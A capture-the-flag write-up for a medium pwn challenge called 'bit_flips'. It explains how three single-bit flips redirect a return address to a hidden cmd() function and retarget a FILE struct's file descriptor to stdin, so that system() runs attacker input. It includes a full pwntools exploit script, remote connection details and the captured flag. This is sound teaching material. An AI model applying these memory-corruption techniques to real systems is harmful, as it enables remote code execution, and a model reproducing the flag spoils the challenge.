bit_flips - X-0R / PWN
Points: 500 | Difficulty: Medium | Flag: 0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8} | Solved by: Smothy @ 0xN1umb

what we got
binary + libc + ld. full protections enabled (PIE, Full RELRO, canary, NX). connects via nc. challenge description says "can you do it in just 3 bit flips?"
connecting gives us:
I'm feeling super generous today
&main = 0x58e757031405
&system = 0x7a80a04fe750
&address = 0x7fff583e0eb0
sbrk(NULL) = 0x58e7595d1000
>
so we get PIE, libc, stack, AND heap leaks. generous indeed lmao. then it asks for input 3 times - an address (hex) and a bit number (0-7). it flips that single bit at that address. 3 times total.
reversing
threw it in objdump. pretty small binary:
setup()- disables buffering, opens./commandsfile into globalFILE *fbit_flip()- reads address + bit number, XORs1<<bitat that byte. checkslock == -1or exitsvuln()- prints all the leaks, callsbit_flip()3 times in a loopcmd()- never called anywhere. reads lines fromfand passes each tosystem()main()- calls setup, prints banner, calls vuln, returns
so cmd() is the hidden function that gives us code execution via system(). we just need to redirect there. ez right? ... right?
the solve (attempt 1 - the naive approach)
ok so vuln's return address is at &address + 0x18 on the stack. the return addr is PIE+0x1422 (back into main). cmd is at PIE+0x1429.
0x22 ^ 0x29 = 0x0B = bits 0, 1, 3
exactly 3 bits! too perfect. ship it.
for bit in [0, 1, 3]:
p.sendline(f'{ret_addr:x}')
p.sendline(str(bit))aaand... SIGSEGV. lol.
strace showed it actually REACHES cmd(), reads the file, starts setting up system()... then crashes. classic x86-64 stack alignment issue. when vuln returns via ret to cmd, we're missing the 8 bytes that a normal call instruction would push. system() hits a movaps and dies because RSP isn't 16-byte aligned.
the solve (attempt 2 - skip push rbp)

ok so what if instead of jumping to cmd (0x1429 = push rbp), we jump to cmd+1 (0x142a = mov rbp, rsp)? skipping push rbp means RSP stays 16-byte aligned.
0x22 ^ 0x2a = 0x08 = bit 3 only
one single bit flip. that leaves us 2 spare flips. tested locally - system("id") works, clean exit code 0.
ran it on remote... got "Did you pwn me?". the server's commands file just taunts us lol. we need to control what system() executes.
the solve (attempt 3 - the big brain play)
we have 2 spare flips. the FILE struct for f was allocated on the heap by fopen(). we know the heap boundary from sbrk(NULL). the FILE struct has a _fileno field at offset 0x70 - that's the file descriptor number (3 for our opened file).
what if we flip _fileno from 3 to 0? fd 0 = stdin = WE control the input.
3 ^ 0 = 3 = bits 0, 1
exactly 2 bits. we have exactly 2 spare flips. ngl this felt like it was meant to be.
heap layout:
heap_base = sbrk(0) - 0x21000
tcache_perthread_struct @ heap_base + 0x10
FILE struct @ heap_base + 0x2a0
FILE._fileno @ heap_base + 0x2a0 + 0x70 = heap_base + 0x310
final exploit - all 3 flips perfectly accounted for:
from pwn import *
p = remote('chall.0xfun.org', 8612)
# parse leaks
p.recvuntil(b'&main = ')
main_leak = int(p.recvline().strip(), 16)
p.recvuntil(b'&system = ')
system_leak = int(p.recvline().strip(), 16)
p.recvuntil(b'&address = ')
address_leak = int(p.recvline().strip(), 16)
p.recvuntil(b'sbrk(NULL) = ')
sbrk_leak = int(p.recvline().strip(), 16)
ret_addr = address_leak + 0x18
fileno_addr = sbrk_leak - 0x21000 + 0x310
# flip 1: ret addr bit 3 -> cmd+1 (skip push rbp = fix alignment)
p.recvuntil(b'> ')
p.sendline(f'{ret_addr:x}'.encode())
p.sendline(b'3')
# flip 2-3: FILE._fileno bits 0,1 -> fd 3 becomes fd 0 (stdin)
p.recvuntil(b'> ')
p.sendline(f'{fileno_addr:x}'.encode())
p.sendline(b'0')
p.recvuntil(b'> ')
p.sendline(f'{fileno_addr:x}'.encode())
p.sendline(b'1')
# cmd() now reads from stdin - send our command
sleep(0.3)
p.sendline(b'cat flag')
p.interactive()the 3 flips:
| # | Target | Bit | Effect |
|---|---|---|---|
| 1 | vuln return addr | 3 | 0x22 -> 0x2a redirect to cmd+1, fixes stack alignment |
| 2 | FILE._fileno | 0 | 3 -> 2 |
| 3 | FILE._fileno | 1 | 2 -> 0 fd now points to stdin |
flag
0xfun{3_b1t5_15_4ll_17_74k35_70_g37_RC3_safhu8}
3 bits is all it takes to get RCE fr fr. the flag even says it - "3 b1t5 15 4ll 17 74k35 70 g37 RC3"

smothy out ✌️